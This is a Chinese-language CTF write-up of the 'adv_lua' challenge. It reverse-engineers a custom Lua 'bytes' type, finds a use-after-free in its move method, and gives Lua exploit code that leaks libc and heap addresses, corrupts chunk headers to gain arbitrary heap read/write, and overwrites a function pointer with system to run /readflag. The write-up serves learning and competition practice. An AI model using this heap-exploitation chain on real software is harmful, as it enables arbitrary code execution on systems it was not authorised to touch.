复现华为杯研究生国赛的adv_lua题目
从题目描述来看,漏洞应该和bytearray相关
用IDA逆向一下然后直接字符串搜索bytearray
只有这里有bytearray字样,继续查找交叉引用:
可以看到一系列方法,显然都是为bytearray所注册的吗,刚才我们看到的函数是来自__tostring
最终追溯到具体的数据类型是bytes,上网搜索了一下,发现原来lua本来并没有这个bytes数据结构,所以也许这是作者自己加进去的一个数据结构,所以需要对数据结构中的几个方法进行漏洞分析。
在move方法中
程序首先获取两个参数,分别为dst和src,其本意为free掉dst本来指向的内存,然后将src的内存指针给dst处,最后将src指针归零。从而完成move操作,但是当dst和src指向相同的一块内存A时,操作则变成了先是释放A,然后让src不再指向A了,再让dst指向A,从而在dst处形成了一个悬垂指针,即发生了UAF。
接下来做个小测试,写出读写指定地址的函数来,试一试能不能读取到UAF后内存中的敏感信息。
barr = bytes.new(1)
function get_int64(obj, off)
res = 0
for i=0,7,1 do
res = res + (obj.get(obj, i+off) << (i*8))
end
return res;
end
function set_int64(obj, off, val)
--print(val)
for i=0,7,1 do
tmp = (math.floor(val) >> i*8) & 0xff
obj.set(obj, i+off, tmp)
end
end
print(barr.move(barr,barr))
发现double free了。。。
好消息是,src和dst指向同一块地址雀食有问题,坏消息是,问题好像有点大。
没关系我们先记下这里的漏洞,然后继续分析数据类型的方法,再来看看new方法
对于new方法上面有一些解析数字的就略过了,直接看这里,首先会有一个0x10大小的userdatauv头部(从内存中来看实际上是0x30大小),然后前八字节装size,后八字节装分配到的address,这里注意意见事情,它malloc之后是没有memset的,所以意味着我们也许可以进行一些地址上的泄露。
注:后续的所有操作均在ubuntu22的机器上进行,不额外进行其他libc版本的适配工作了。
申请个大堆释放到unsortedbin里,然后申请出来,可以看到由于new的时候非常的干净没有任何附加值,所以libc地址已经进到chunk里了,接下来直接打印出来就行,堆地址同理。
a = bytes.new(0x430)
b = bytes.new(0x20)
a.move(a,b)
c = bytes.new(0x20)
libcbase=get_int64(c,0)-0x219ce0
c.move(c,a)
c = bytes.new(0x20)
heapbase=(get_int64(c,0)<<12)-0x600
print(string.format("[+] libcbase address is 0x%x", libcbase))
print(string.format("[+] heapbase address is 0x%x", heapbase))
进行到获取堆地址这里还是非常轻松的,接下来就要考虑如何控制程序执行流,作者在描述中写的非常清楚,不需要进行其他操作,只要能执行/readflag就可以,也就是说能够成功构造system(‘/readflag’)即可,现在system已经有了,还剩下两点需要考虑,一是如何控制执行流,二是如何获取’/readflag’字符串。
对于控制程序执行流,首先需要构造任意地址写原语,到这里就不得不祭出之前在move中找到的漏洞了,现在似乎必须弄清楚为什么会double free了,明明我们逆向出的它是个UAF,通过调试发现,原来是程序结束的时候会将用到的内存都释放掉,但是之前这里是个UAF,并且程序还直接结束了没有进行后续的处理,所以最后显示出来的是个double free,也是有点无语哈哈哈哈。
所以我们还是可以直接将其作为UAF来使用的,另外就是这个set和get都有这么一个函数卡着我们:
其作用大致就是在读写之前会检查一下那个0x30大小的堆头,里面存放着size和address的那个东西,检查size是不是过大,以及地址是不是合法等等,比如这里有一个条件是v2>>40-85不能大于等于2,这意味着什么呢
>>> hex(87<<40)
'0x570000000000'
>>>
即我们不能通过UAF申请到libc上的地址了。还有其他一些类似的限制,导致我们能够选择的路并不多,修改存在于堆上的函数指针是一条路。
通过大量打印堆上的数据能够发现,有很多函数的table是直接存放于堆上的。
看了一圈别的地方的表上都有函数名,只有这个解析不出来
大概率这里就是作者自己添加的数据结构所注册的函数表了。现在尝试通过UAF申请到函数表上并将其修改。
a=bytes.new(0x20)
a=bytes.new(0x20)
a=bytes.new(0x20)
a.move(a,a)
set_int64(a,0,0x6161616161616161)
从结果可以看到UAF是完全ok的,只要我程序不跑完是不会发生double free的。
直接申请到0x3870的内存可能需要一定的堆风水,但是这里别忘了我们是UAF,如果我们申请出一个大小和堆头结构一样大的chunk,free掉它获取悬垂指针以后再申请一个正常的chunk,就可以直接控制某个byte的堆头结构,然后修改其0x28偏移处的address,就可以无需任何堆风水直接进行任意堆地址的get和set。
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a=bytes.new(0x30)
a.move(a,a)
b=bytes.new(0xb8)
set_int64(a,0x28,target)
set_int64(b,0,0x6161616161616161)
成功修改堆头数据的address字段为target
尝试将函数指针修改为system
可以看到这里已经成功将函数指针修改为system
经过尝试发现是有一定概率执行到system函数的,最后的一个问题就是如何控制rdi参数。可以看到每次调用函数,rdi都会指向堆上的一个固定偏移的地方,应该是某个固定的结构体,我们可以通过相同的手法,将target改到这个堆上,然后直接修改指定位置为/readflag字符串。
set_int64(a,0x28,heapbase+0x2a0)
set_int64(b, 0x8, 0x616c66646165722f)
set_int64(b, 0x10, 0x67)
最终成功执行了/readflag函数